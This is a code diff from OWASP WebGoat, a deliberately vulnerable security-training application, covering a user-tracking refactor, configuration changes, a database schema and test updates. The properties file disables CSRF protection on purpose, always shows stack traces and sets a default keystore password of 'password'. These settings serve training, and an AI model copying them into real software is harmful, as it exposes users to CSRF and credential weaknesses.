List<String> challenges = List.of("Challenge1", "Challenge2", "Challenge3", "Challenge4", "Challenge5", "Challenge6", "Challenge7", "Challenge8", "Challenge9");
return challenges.stream()
.map(c -> userTracker.getLessonTracker(c))
.filter(l -> l.isPresent()).map(l -> l.get())

View File

@ -16,14 +16,14 @@ import javax.validation.constraints.Size;
public class UserForm {
@NotNull
@Size(min=6, max=20)
@Pattern(regexp = "[a-zA-Z0-9-]*", message = "can only contain letters, digits, and -")
@Size(min = 6, max = 45)
@Pattern(regexp = "[a-z0-9-]*", message = "can only contain lowercase letters, digits, and -")
private String username;
@NotNull
@Size(min=6, max=10)
@Size(min = 6, max = 10)
private String password;
@NotNull
@Size(min=6, max=10)
@Size(min = 6, max = 10)
private String matchingPassword;
@NotNull
private String agree;

View File

@ -30,16 +30,28 @@ public class UserService implements UserDetailsService {
}
public void addUser(String username, String password) {
//get user if there exists one by the name
WebGoatUser webGoatUser = userRepository.findByUsername(username);
//if user exists it will be updated, otherwise created
userRepository.save(new WebGoatUser(username, password));
userTrackerRepository.save(new UserTracker(username));
//if user previously existed it will not get another tracker
if (webGoatUser == null) {
userTrackerRepository.save(new UserTracker(username));
}
}
public void addUser(String username, String password, String role) {
userRepository.save(new WebGoatUser(username,password,role));
userTrackerRepository.save(new UserTracker(username));
//get user if there exists one by the name
WebGoatUser webGoatUser = userRepository.findByUsername(username);
//if user exists it will be updated, otherwise created
userRepository.save(new WebGoatUser(username, password, role));
//if user previously existed it will not get another tracker
if (webGoatUser == null) {
userTrackerRepository.save(new UserTracker(username));
}
}
public List<WebGoatUser> getAllUsers () {
public List<WebGoatUser> getAllUsers() {
return userRepository.findAll();
}

View File

@ -1,14 +1,12 @@
package org.owasp.webgoat.users;
import com.google.common.collect.Lists;
import com.google.common.collect.Sets;
import lombok.extern.slf4j.Slf4j;
import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.lessons.Lesson;
import org.owasp.webgoat.lessons.Assignment;
import javax.persistence.*;
import java.util.List;
import java.util.HashSet;
import java.util.Map;
import java.util.Optional;
import java.util.Set;
@ -55,7 +53,7 @@ public class UserTracker {
@Column(name = "username")
private String user;
@OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)
private Set<LessonTracker> lessonTrackers = Sets.newHashSet();
private Set<LessonTracker> lessonTrackers = new HashSet<>();
private UserTracker() {}
@ -69,7 +67,7 @@ public class UserTracker {
* @param lesson the lesson
* @return a lesson tracker created if not already present
*/
public LessonTracker getLessonTracker(AbstractLesson lesson) {
public LessonTracker getLessonTracker(Lesson lesson) {
Optional<LessonTracker> lessonTracker = lessonTrackers
.stream().filter(l -> l.getLessonName().equals(lesson.getId())).findFirst();
if (!lessonTracker.isPresent()) {
@ -91,18 +89,18 @@ public class UserTracker {
return lessonTrackers.stream().filter(l -> l.getLessonName().equals(id)).findFirst();
}
public void assignmentSolved(AbstractLesson lesson, String assignmentName) {
public void assignmentSolved(Lesson lesson, String assignmentName) {
LessonTracker lessonTracker = getLessonTracker(lesson);
lessonTracker.incrementAttempts();
lessonTracker.assignmentSolved(assignmentName);
}
public void assignmentFailed(AbstractLesson lesson) {
public void assignmentFailed(Lesson lesson) {
LessonTracker lessonTracker = getLessonTracker(lesson);
lessonTracker.incrementAttempts();
}
public void reset(AbstractLesson al) {
public void reset(Lesson al) {
LessonTracker lessonTracker = getLessonTracker(al);
lessonTracker.reset();
}

View File

@ -16,8 +16,8 @@ public class UserValidator implements Validator {
private final UserRepository userRepository;
@Override
public boolean supports(Class<?> aClass) {
return UserForm.class.equals(aClass);
public boolean supports(Class<?> clazz) {
return UserForm.class.equals(clazz);
}
@Override

View File

@ -1,26 +1,32 @@
server.error.include-stacktrace=always
server.error.path=/error.html
server.session.timeout=600
server.contextPath=/WebGoat
server.port=8080
server.address=127.0.0.1
server.servlet.context-path=/WebGoat
server.servlet.session.persistent=false
server.port=${WEBGOAT_PORT:8080}
server.address=${WEBGOAT_HOST:127.0.0.1}
spring.datasource.url=jdbc:hsqldb:hsql://localhost:9001/webgoat
spring.jpa.hibernate.ddl-auto=update
server.ssl.key-store-type=${WEBGOAT_KEYSTORE_TYPE:PKCS12}
server.ssl.key-store=${WEBGOAT_KEYSTORE:classpath:goatkeystore.pkcs12}
server.ssl.key-store-password=${WEBGOAT_KEYSTORE_PASSWORD:password}
server.ssl.key-alias=${WEBGOAT_KEY_ALIAS:goat}
server.ssl.enabled=${WEBGOAT_SSLENABLED:false}
hsqldb.port=${WEBGOAT_HSQLPORT:9001}
spring.datasource.url=jdbc:hsqldb:hsql://${server.address}:${hsqldb.port}/webgoat
spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.HSQLDialect
spring.datasource.driver-class-name=org.hsqldb.jdbc.JDBCDriver
spring.jpa.properties.hibernate.default_schema=CONTAINER
logging.level.org.thymeleaf=INFO
logging.level.org.thymeleaf.TemplateEngine.CONFIG=INFO
logging.level.org.thymeleaf.TemplateEngine.TIMER=INFO
logging.level.org.thymeleaf.TemplateEngine.cache.TEMPLATE_CACHE=INFO
logging.level.org.springframework.web=INFO
logging.level.org.springframework=INFO
logging.level.org.springframework.boot.devtools=INFO
logging.level.org.owasp=DEBUG
logging.level.org.owasp.webgoat=TRACE
# Needed for creating a vulnerable web application
security.enable-csrf=false
spring.resources.cache-period=0
spring.thymeleaf.cache=false
logging.level.org.owasp.webgoat=DEBUG
webgoat.start.hsqldb=true
webgoat.clean=false
@ -32,11 +38,10 @@ webgoat.email=webgoat@owasp.org
webgoat.emaillist=owasp-webgoat@lists.owasp.org
webgoat.feedback.address=webgoat@owasp.org
webgoat.feedback.address.html=<A HREF=mailto:webgoat@owasp.org>webgoat@owasp.org</A>
webgoat.database.driver=org.hsqldb.jdbcDriver
webgoat.database.connection.string=jdbc:hsqldb:mem:{USER}
webgoat.default.language=en
webwolf.host=${WEBWOLF_HOST:localhost}
webwolf.host=${WEBWOLF_HOST:127.0.0.1}
webwolf.port=${WEBWOLF_PORT:9090}
webwolf.url=http://${webwolf.host}:${webwolf.port}/WebWolf
webwolf.url.landingpage=http://${webwolf.host}:${webwolf.port}/landing

View File

@ -0,0 +1,64 @@
CREATE SCHEMA CONTAINER;
CREATE SEQUENCE CONTAINER.HIBERNATE_SEQUENCE AS INTEGER START WITH 1;
CREATE TABLE CONTAINER.ASSIGNMENT (
ID BIGINT NOT NULL PRIMARY KEY,
NAME VARCHAR(255),
PATH VARCHAR(255)
);
CREATE TABLE CONTAINER.LESSON_TRACKER(
ID BIGINT NOT NULL PRIMARY KEY,
LESSON_NAME VARCHAR(255),
NUMBER_OF_ATTEMPTS INTEGER NOT NULL
);
CREATE TABLE CONTAINER.LESSON_TRACKER_ALL_ASSIGNMENTS(
LESSON_TRACKER_ID BIGINT NOT NULL,
ALL_ASSIGNMENTS_ID BIGINT NOT NULL,
PRIMARY KEY(LESSON_TRACKER_ID,ALL_ASSIGNMENTS_ID),
CONSTRAINT FKNHIDKE27BCJHI8C7WJ9QW6Y3Q FOREIGN KEY(ALL_ASSIGNMENTS_ID) REFERENCES CONTAINER.ASSIGNMENT(ID),
CONSTRAINT FKBM51QSDJ7N17O2DNATGAMW7D FOREIGN KEY(LESSON_TRACKER_ID) REFERENCES CONTAINER.LESSON_TRACKER(ID),
CONSTRAINT UK_SYGJY2S8O8DDGA2K5YHBMUVEA UNIQUE(ALL_ASSIGNMENTS_ID)
);
CREATE TABLE CONTAINER.LESSON_TRACKER_SOLVED_ASSIGNMENTS(
LESSON_TRACKER_ID BIGINT NOT NULL,
SOLVED_ASSIGNMENTS_ID BIGINT NOT NULL,
PRIMARY KEY(LESSON_TRACKER_ID,SOLVED_ASSIGNMENTS_ID),
CONSTRAINT FKPP850U1MG09YKKL2EQGM0TRJK FOREIGN KEY(SOLVED_ASSIGNMENTS_ID) REFERENCES CONTAINER.ASSIGNMENT(ID),
CONSTRAINT FKNKRWGA1UHLOQ6732SQXHXXSCR FOREIGN KEY(LESSON_TRACKER_ID) REFERENCES CONTAINER.LESSON_TRACKER(ID),
CONSTRAINT UK_9WFYDUY3TVE1XD05LWOUEG0C1 UNIQUE(SOLVED_ASSIGNMENTS_ID)
);
CREATE TABLE CONTAINER.USER_TRACKER(
ID BIGINT NOT NULL PRIMARY KEY,
USERNAME VARCHAR(255)
);
CREATE TABLE CONTAINER.USER_TRACKER_LESSON_TRACKERS(
USER_TRACKER_ID BIGINT NOT NULL,
LESSON_TRACKERS_ID BIGINT NOT NULL,
PRIMARY KEY(USER_TRACKER_ID,LESSON_TRACKERS_ID),
CONSTRAINT FKQJSTCA3YND3OHP35D50PNUH3H FOREIGN KEY(LESSON_TRACKERS_ID) REFERENCES CONTAINER.LESSON_TRACKER(ID),
CONSTRAINT FKC9GX8INK7LRC79XC77O2MN9KE FOREIGN KEY(USER_TRACKER_ID) REFERENCES CONTAINER.USER_TRACKER(ID),
CONSTRAINT UK_5D8N5I3IC26CVF7DF7N95DOJB UNIQUE(LESSON_TRACKERS_ID)
);
CREATE TABLE CONTAINER.WEB_GOAT_USER(
USERNAME VARCHAR(255) NOT NULL PRIMARY KEY,
PASSWORD VARCHAR(255),
ROLE VARCHAR(255)
);
CREATE TABLE CONTAINER.EMAIL(
ID BIGINT GENERATED BY DEFAULT AS IDENTITY(START WITH 1) NOT NULL PRIMARY KEY,
CONTENTS VARCHAR(1024),
RECIPIENT VARCHAR(255),
SENDER VARCHAR(255),
TIME TIMESTAMP,
TITLE VARCHAR(255)
);
ALTER TABLE CONTAINER.EMAIL ALTER COLUMN ID RESTART WITH 2;

View File

@ -0,0 +1 @@
ALTER TABLE CONTAINER.LESSON_TRACKER ADD VERSION INTEGER;

View File

@ -1001,9 +1001,15 @@ cookie-container {
margin: 3px;
}
@keyframes blink {
50% { border-color: white; }
}
.cur-page {
border-bottom: 2px solid #000;
animation: blink 1.5s 2 forwards;
border: 3px solid blue;
color:#aaa;
background-color: lightsalmon;
}
span.show-next-page, span.show-prev-page {

View File

@ -28,15 +28,15 @@
<!-- JS -->
<script src="js/modernizr-2.6.2.min.js"/>
<script src="js/modernizr-2.6.2.min.js"></script>
<!-- HTML5 shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!--[if lt IE 9]>
<script src="js/html5shiv.js"/>
<script src="js/respond.min.js"/>
<script src="js/html5shiv.js"></script>
<script src="js/respond.min.js"></script>
<![endif]-->
<!-- Require.js used to load js asynchronously -->
<script src="js/libs/require.min.js" data-main="js/main.js"/>
<script src="js/libs/require.min.js" data-main="js/main.js"></script>
<meta http-equiv="Content-Type" content="text/id; charset=ISO-8859-1"/>
<title>WebGoat</title>
</head>
@ -67,8 +67,7 @@
<li role="presentation"><a role="menuitem" tabindex="-1" th:href="@{/logout}"
th:text="#{logout}">Logout</a></li>
<li role="presentation" class="divider"></li>
<li role="presentation" class="disabled"><a role="menuitem" tabindex="-1" href="#">User: <span
th:text="${#authentication.name}"></span></a>
<li role="presentation" class="disabled"><a role="menuitem" tabindex="-1" href="#">User: <span sec:authentication="name"></span></a>
</li>
<li role="presentation" class="disabled"><a role="menuitem" tabindex="-1" href="#">Role:
<span sec:authorize="hasAuthority('WEBGOAT_USER')">User</span>
@ -134,14 +133,14 @@
<div id="lesson-content-wrapper" class="panel">
<div class="" id="error-notification-container">
<div class="" id="error-notification">
<i class="fa fa-exclamation-circle"/> There was an unexpected error. Please try
again.
<i class="fa fa-exclamation-circle"> There was an unexpected error. Please try
again.</i>
</div>
</div>
<div class="" id="help-controls">
<button class="btn btn-primary btn-xs btn-danger help-button"
id="show-source-button">
<i class="fa fa-code"/>
<i class="fa fa-code"></i>
</button>
<button class="btn btn-primary btn-xs btn-danger help-button"
id="show-hints-button" th:text="#{show.hints}">Show hints

View File

@ -19,7 +19,7 @@
<link rel="shortcut icon" th:href="@{/images/favicon.ico}" type="image/x-icon"/>
<!-- Require.js used to load js asynchronously -->
<script src="js/libs/require.min.js" data-main="js/scoreboard.js"/>
<script src="js/libs/require.min.js" data-main="js/scoreboard.js"></script>
<!-- main css -->
<link rel="stylesheet" type="text/css" th:href="@{/css/main.css}"/>
<link rel="stylesheet" type="text/css" th:href="@{/plugins/bootstrap/css/bootstrap.min.css}"/>

View File

@ -0,0 +1,27 @@
package org.owasp.webgoat;
import org.hsqldb.jdbc.JDBCDriver;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
import org.springframework.context.annotation.Bean;
import org.springframework.jdbc.datasource.DriverManagerDataSource;
import javax.sql.DataSource;
import java.sql.DriverManager;
import java.sql.SQLException;
@SpringBootApplication
public class TestApplication {
/**
* We define our own datasource, otherwise we end up with Hikari one which for some lessons will
* throw an error (feature not supported)
*/
@Bean
@ConditionalOnProperty(prefix = "webgoat.start", name = "hsqldb", havingValue = "false")
public DataSource dataSource(@Value("${spring.datasource.url}") String url) throws SQLException {
DriverManager.registerDriver(new JDBCDriver());
return new DriverManagerDataSource(url);
}
}

View File

@ -38,7 +38,8 @@ import org.springframework.web.servlet.i18n.FixedLocaleResolver;
import java.util.Locale;
import static org.mockito.Matchers.anyString;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.ArgumentMatchers.anyString;
import static org.mockito.Mockito.when;
public class AssignmentEndpointTest {
@ -51,7 +52,7 @@ public class AssignmentEndpointTest {
protected WebSession webSession;
@Mock
protected UserSessionData userSessionData;
private Language language = new Language(new FixedLocaleResolver()){
private Language language = new Language(new FixedLocaleResolver()) {
@Override
public Locale getLocale() {
return Locale.ENGLISH;
@ -62,7 +63,6 @@ public class AssignmentEndpointTest {
public void init(AssignmentEndpoint a) {
messages.setBasenames("classpath:/i18n/messages", "classpath:/i18n/WebGoatLabels");
when(userTrackerRepository.findByUser(anyString())).thenReturn(userTracker);
ReflectionTestUtils.setField(a, "userTrackerRepository", userTrackerRepository);
ReflectionTestUtils.setField(a, "userSessionData", userSessionData);
ReflectionTestUtils.setField(a, "webSession", webSession);

View File

@ -4,11 +4,10 @@ import org.junit.Before;
import org.owasp.webgoat.i18n.Language;
import org.owasp.webgoat.i18n.PluginMessages;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.session.WebgoatContext;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.context.embedded.LocalServerPort;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.boot.test.mock.mockito.MockBean;
import org.springframework.boot.web.server.LocalServerPort;
import org.springframework.test.context.TestPropertySource;
import org.springframework.test.web.servlet.MockMvc;
import org.springframework.web.context.WebApplicationContext;
@ -22,7 +21,7 @@ import static org.mockito.Mockito.when;
* @since 5/20/17.
*/
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
@TestPropertySource(locations = "classpath:/application-test.properties")
@TestPropertySource(locations = {"classpath:/application-webgoat.properties", "classpath:/application-test.properties"})
public abstract class LessonTest {
@LocalServerPort
@ -34,8 +33,7 @@ public abstract class LessonTest {
protected PluginMessages messages;
@MockBean
protected WebSession webSession;
@Autowired
private WebgoatContext context;
@MockBean
private Language language;
@ -43,7 +41,6 @@ public abstract class LessonTest {
public void init() {
when(webSession.getUserName()).thenReturn("unit-test");
when(language.getLocale()).thenReturn(Locale.getDefault());
when(webSession.getWebgoatContext()).thenReturn(context);
}
}

View File

@ -7,13 +7,15 @@ import org.junit.Test;
import org.junit.runner.RunWith;
import org.mockito.Mock;
import org.mockito.Mockito;
import org.mockito.runners.MockitoJUnitRunner;
import org.owasp.webgoat.lessons.AbstractLesson;
import org.mockito.junit.MockitoJUnitRunner;
import org.owasp.webgoat.lessons.Lesson;
import org.owasp.webgoat.lessons.Assignment;
import org.owasp.webgoat.session.WebSession;
import org.springframework.test.web.servlet.MockMvc;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import java.util.List;
import static org.mockito.Mockito.when;
import static org.owasp.webgoat.service.HintService.URL_HINTS_MVC;
import static org.springframework.test.web.servlet.result.MockMvcResultHandlers.print;
@ -28,34 +30,24 @@ public class HintServiceTest {
@Mock
private WebSession websession;
@Mock
private AbstractLesson lesson;
private Lesson lesson;
@Mock
private Assignment assignment;
@Before
public void setup() {
this.mockMvc = standaloneSetup(new HintService(websession)).build();
}
@Test
public void onlyHintsOnLesson() throws Exception {
when(lesson.getName()).thenReturn("Test lesson");
when(lesson.getHints()).thenReturn(Lists.newArrayList("hint 1", "hint 2"));
when(websession.getCurrentLesson()).thenReturn(lesson);
mockMvc.perform(MockMvcRequestBuilders.get(URL_HINTS_MVC))
.andExpect(status().isOk())
.andExpect(jsonPath("$[0].hint", CoreMatchers.is("hint 1")))
.andExpect(jsonPath("$[0].lesson", CoreMatchers.is("Test lesson")));
}
@Test
public void hintsPerAssignment() throws Exception {
when(lesson.getName()).thenReturn("Test lesson");
Assignment assignment = Mockito.mock(Assignment.class);
when(assignment.getPath()).thenReturn("/HttpBasics/attack1");
when(assignment.getHints()).thenReturn(Lists.newArrayList("hint 1", "hint 2"));
when(lesson.getAssignments()).thenReturn(Lists.newArrayList(assignment));
when(websession.getCurrentLesson()).thenReturn(lesson);
mockMvc.perform(MockMvcRequestBuilders.get(URL_HINTS_MVC))
.andExpect(status().isOk()).andDo(print())
.andExpect(status().isOk())
.andExpect(jsonPath("$[0].hint", CoreMatchers.is("hint 1")))
.andExpect(jsonPath("$[0].assignmentPath", CoreMatchers.is("/HttpBasics/attack1")));
}

View File

@ -4,6 +4,7 @@ import org.hamcrest.CoreMatchers;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.owasp.webgoat.session.Course;
import org.owasp.webgoat.users.UserService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.autoconfigure.web.servlet.WebMvcTest;
import org.springframework.boot.test.mock.mockito.MockBean;
@ -53,6 +54,8 @@ public class LabelServiceTest {
public MockMvc mockMvc;
@MockBean
private Course course;
@MockBean
private UserService userService;
@Test
@WithMockUser(username = "guest", password = "guest")

View File

@ -1,3 +1,24 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2019 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.service;
import com.beust.jcommander.internal.Lists;
@ -7,10 +28,9 @@ import org.junit.Test;
import org.junit.runner.RunWith;
import org.mockito.Mock;
import org.mockito.Mockito;
import org.mockito.runners.MockitoJUnitRunner;
import org.owasp.webgoat.lessons.AbstractLesson;
import org.mockito.junit.MockitoJUnitRunner;
import org.owasp.webgoat.lessons.Category;
import org.owasp.webgoat.lessons.NewLesson;
import org.owasp.webgoat.lessons.Lesson;
import org.owasp.webgoat.session.Course;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.users.LessonTracker;
@ -19,8 +39,7 @@ import org.owasp.webgoat.users.UserTrackerRepository;
import org.springframework.test.web.servlet.MockMvc;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import static org.mockito.Matchers.any;
import static org.mockito.Matchers.anyString;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.Mockito.when;
import static org.owasp.webgoat.service.LessonMenuService.URL_LESSONMENU_MVC;
import static org.springframework.test.web.servlet.result.MockMvcResultHandlers.print;
@ -28,13 +47,11 @@ import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup;
/**
* @author nbaars
* @since 4/16/17.
*/
@RunWith(MockitoJUnitRunner.class)
public class LessonMenuServiceTest {
@Mock(lenient=true)
private LessonTracker lessonTracker;
@Mock
private Course course;
@Mock
@ -52,18 +69,15 @@ public class LessonMenuServiceTest {
@Test
public void lessonsShouldBeOrdered() throws Exception {
NewLesson l1 = Mockito.mock(NewLesson.class);
NewLesson l2 = Mockito.mock(NewLesson.class);
Lesson l1 = Mockito.mock(Lesson.class);
Lesson l2 = Mockito.mock(Lesson.class);
when(l1.getTitle()).thenReturn("ZA");
when(l2.getTitle()).thenReturn("AA");
when(l1.getCategory()).thenReturn(Category.ACCESS_CONTROL);
when(l2.getCategory()).thenReturn(Category.ACCESS_CONTROL);
LessonTracker lessonTracker = Mockito.mock(LessonTracker.class);
when(lessonTracker.isLessonSolved()).thenReturn(false);
when(course.getLessons(any())).thenReturn(Lists.newArrayList(l1, l2));
when(course.getCategories()).thenReturn(Lists.newArrayList(Category.ACCESS_CONTROL));
when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker);
when(userTrackerRepository.findByUser(anyString())).thenReturn(userTracker);
when(userTracker.getLessonTracker(any(Lesson.class))).thenReturn(lessonTracker);
when(userTrackerRepository.findByUser(any())).thenReturn(userTracker);
mockMvc.perform(MockMvcRequestBuilders.get(URL_LESSONMENU_MVC))
.andExpect(status().isOk())
@ -73,16 +87,13 @@ public class LessonMenuServiceTest {
@Test
public void lessonCompleted() throws Exception {
NewLesson l1 = Mockito.mock(NewLesson.class);
Lesson l1 = Mockito.mock(Lesson.class);
when(l1.getTitle()).thenReturn("ZA");
when(l1.getCategory()).thenReturn(Category.ACCESS_CONTROL);
LessonTracker lessonTracker = Mockito.mock(LessonTracker.class);
when(lessonTracker.isLessonSolved()).thenReturn(true);
when(course.getLessons(any())).thenReturn(Lists.newArrayList(l1));
when(course.getCategories()).thenReturn(Lists.newArrayList(Category.ACCESS_CONTROL));
when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker);
when(userTrackerRepository.findByUser(anyString())).thenReturn(userTracker);
when(userTracker.getLessonTracker(any(Lesson.class))).thenReturn(lessonTracker);
when(userTrackerRepository.findByUser(any())).thenReturn(userTracker);
mockMvc.perform(MockMvcRequestBuilders.get(URL_LESSONMENU_MVC))
.andExpect(status().isOk()).andDo(print())

View File

@ -6,7 +6,7 @@ import org.junit.Test;
import org.junit.runner.RunWith;
import org.mockito.Mock;
import org.mockito.runners.MockitoJUnitRunner;
import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.lessons.Lesson;
import org.owasp.webgoat.lessons.Assignment;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.users.LessonTracker;
@ -17,9 +17,10 @@ import org.springframework.test.web.servlet.MockMvc;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import java.util.List;
import static org.hamcrest.CoreMatchers.is;
import static org.mockito.Matchers.any;
import static org.mockito.Matchers.anyString;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.Mockito.when;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
@ -59,7 +60,7 @@ public class LessonProgressServiceTest {
private MockMvc mockMvc;
@Mock
private AbstractLesson lesson;
private Lesson lesson;
@Mock
private UserTracker userTracker;
@Mock
@ -71,10 +72,11 @@ public class LessonProgressServiceTest {
@Before
public void setup() {
Assignment assignment = new Assignment("test", "test");
when(userTrackerRepository.findByUser(anyString())).thenReturn(userTracker);
when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker);
Assignment assignment = new Assignment("test", "test", List.of());
when(userTrackerRepository.findByUser(any())).thenReturn(userTracker);
when(userTracker.getLessonTracker(any(Lesson.class))).thenReturn(lessonTracker);
when(websession.getCurrentLesson()).thenReturn(lesson);
when(lesson.getAssignments()).thenReturn(List.of(assignment));
when(lessonTracker.getLessonOverview()).thenReturn(Maps.newHashMap(assignment, true));
this.mockMvc = MockMvcBuilders.standaloneSetup(new LessonProgressService(userTrackerRepository, websession)).build();
}

View File

@ -1,13 +1,12 @@
package org.owasp.webgoat.service;
import com.beust.jcommander.internal.Lists;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.mockito.Mock;
import org.mockito.runners.MockitoJUnitRunner;
import org.mockito.junit.MockitoJUnitRunner;
import org.owasp.webgoat.i18n.PluginMessages;
import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.lessons.Lesson;
import org.owasp.webgoat.session.Course;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.users.LessonTracker;
@ -17,9 +16,11 @@ import org.springframework.security.test.context.support.WithMockUser;
import org.springframework.test.web.servlet.MockMvc;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import java.util.List;
import static org.hamcrest.CoreMatchers.is;
import static org.mockito.Matchers.any;
import static org.mockito.Matchers.anyString;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.ArgumentMatchers.anyString;
import static org.mockito.Mockito.when;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
@ -34,7 +35,7 @@ public class ReportCardServiceTest {
@Mock
private UserTracker userTracker;
@Mock
private AbstractLesson lesson;
private Lesson lesson;
@Mock
private LessonTracker lessonTracker;
@Mock
@ -56,9 +57,9 @@ public class ReportCardServiceTest {
when(lesson.getTitle()).thenReturn("Test");
when(course.getTotalOfLessons()).thenReturn(1);
when(course.getTotalOfAssignments()).thenReturn(10);
when(course.getLessons()).thenReturn(Lists.newArrayList(lesson));
when(userTrackerRepository.findByUser(anyString())).thenReturn(userTracker);
when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker);
when(course.getLessons()).thenAnswer(x -> List.of(lesson));
when(userTrackerRepository.findByUser(any())).thenReturn(userTracker);
when(userTracker.getLessonTracker(any(Lesson.class))).thenReturn(lessonTracker);
mockMvc.perform(MockMvcRequestBuilders.get("/service/reportcard.mvc"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.totalNumberOfLessons", is(1)))

View File

@ -31,4 +31,8 @@ package org.owasp.webgoat.session;
*/
public class CourseTest {
public void number() {
}
}

View File

@ -1,9 +1,8 @@
package org.owasp.webgoat.session;
import com.google.common.collect.Lists;
import org.junit.Test;
import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.lessons.Assignment;
import org.owasp.webgoat.lessons.Lesson;
import org.owasp.webgoat.users.LessonTracker;
import java.util.List;
@ -47,8 +46,8 @@ public class LessonTrackerTest {
@Test
public void allAssignmentsSolvedShouldMarkLessonAsComplete() {
AbstractLesson lesson = mock(AbstractLesson.class);
when(lesson.getAssignments()).thenReturn(Lists.newArrayList(new Assignment("assignment", "")));
Lesson lesson = mock(Lesson.class);
when(lesson.getAssignments()).thenReturn(List.of(new Assignment("assignment", "assignment", List.of(""))));
LessonTracker lessonTracker = new LessonTracker(lesson);
lessonTracker.assignmentSolved("assignment");
@ -57,10 +56,10 @@ public class LessonTrackerTest {
@Test
public void noAssignmentsSolvedShouldMarkLessonAsInComplete() {
AbstractLesson lesson = mock(AbstractLesson.class);
Assignment a1 = new Assignment("a1", "a1");
Assignment a2 = new Assignment("a2", "a2");
List<Assignment> assignments = Lists.newArrayList(a1, a2);
Lesson lesson = mock(Lesson.class);
Assignment a1 = new Assignment("a1");
Assignment a2 = new Assignment("a2");
List<Assignment> assignments = List.of(a1, a2);
when(lesson.getAssignments()).thenReturn(assignments);
LessonTracker lessonTracker = new LessonTracker(lesson);
lessonTracker.assignmentSolved("a1");
@ -72,9 +71,9 @@ public class LessonTrackerTest {
@Test
public void solvingSameAssignmentShouldNotAddItTwice() {
AbstractLesson lesson = mock(AbstractLesson.class);
Assignment a1 = new Assignment("a1", "a1");
List<Assignment> assignments = Lists.newArrayList(a1);
Lesson lesson = mock(Lesson.class);
Assignment a1 = new Assignment("a1");
List<Assignment> assignments = List.of(a1);
when(lesson.getAssignments()).thenReturn(assignments);
LessonTracker lessonTracker = new LessonTracker(lesson);
lessonTracker.assignmentSolved("a1");

View File

@ -5,10 +5,12 @@ import org.junit.Test;
import org.junit.runner.RunWith;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.autoconfigure.orm.jpa.DataJpaTest;
import org.springframework.test.context.ActiveProfiles;
import org.springframework.test.context.junit4.SpringRunner;
@DataJpaTest
@RunWith(SpringRunner.class)
@ActiveProfiles({"test", "webgoat"})
public class UserRepositoryTest {
@Autowired
@ -24,6 +26,4 @@ public class UserRepositoryTest {
Assertions.assertThat(user.getUsername()).isEqualTo("test");
Assertions.assertThat(user.getPassword()).isEqualTo("password");
}
}

View File

@ -3,10 +3,10 @@ package org.owasp.webgoat.users;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.mockito.Mock;
import org.mockito.runners.MockitoJUnitRunner;
import org.mockito.junit.MockitoJUnitRunner;
import org.springframework.security.core.userdetails.UsernameNotFoundException;
import static org.mockito.Matchers.any;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.Mockito.when;
@RunWith(MockitoJUnitRunner.class)
@ -24,5 +24,4 @@ public class UserServiceTest {
UserService userService = new UserService(userRepository, userTrackerRepository);
userService.loadUserByUsername("unknown");
}
}

View File

@ -6,34 +6,26 @@ import org.junit.Test;
import org.junit.runner.RunWith;
import org.owasp.webgoat.lessons.Assignment;
import org.owasp.webgoat.lessons.Category;
import org.owasp.webgoat.lessons.NewLesson;
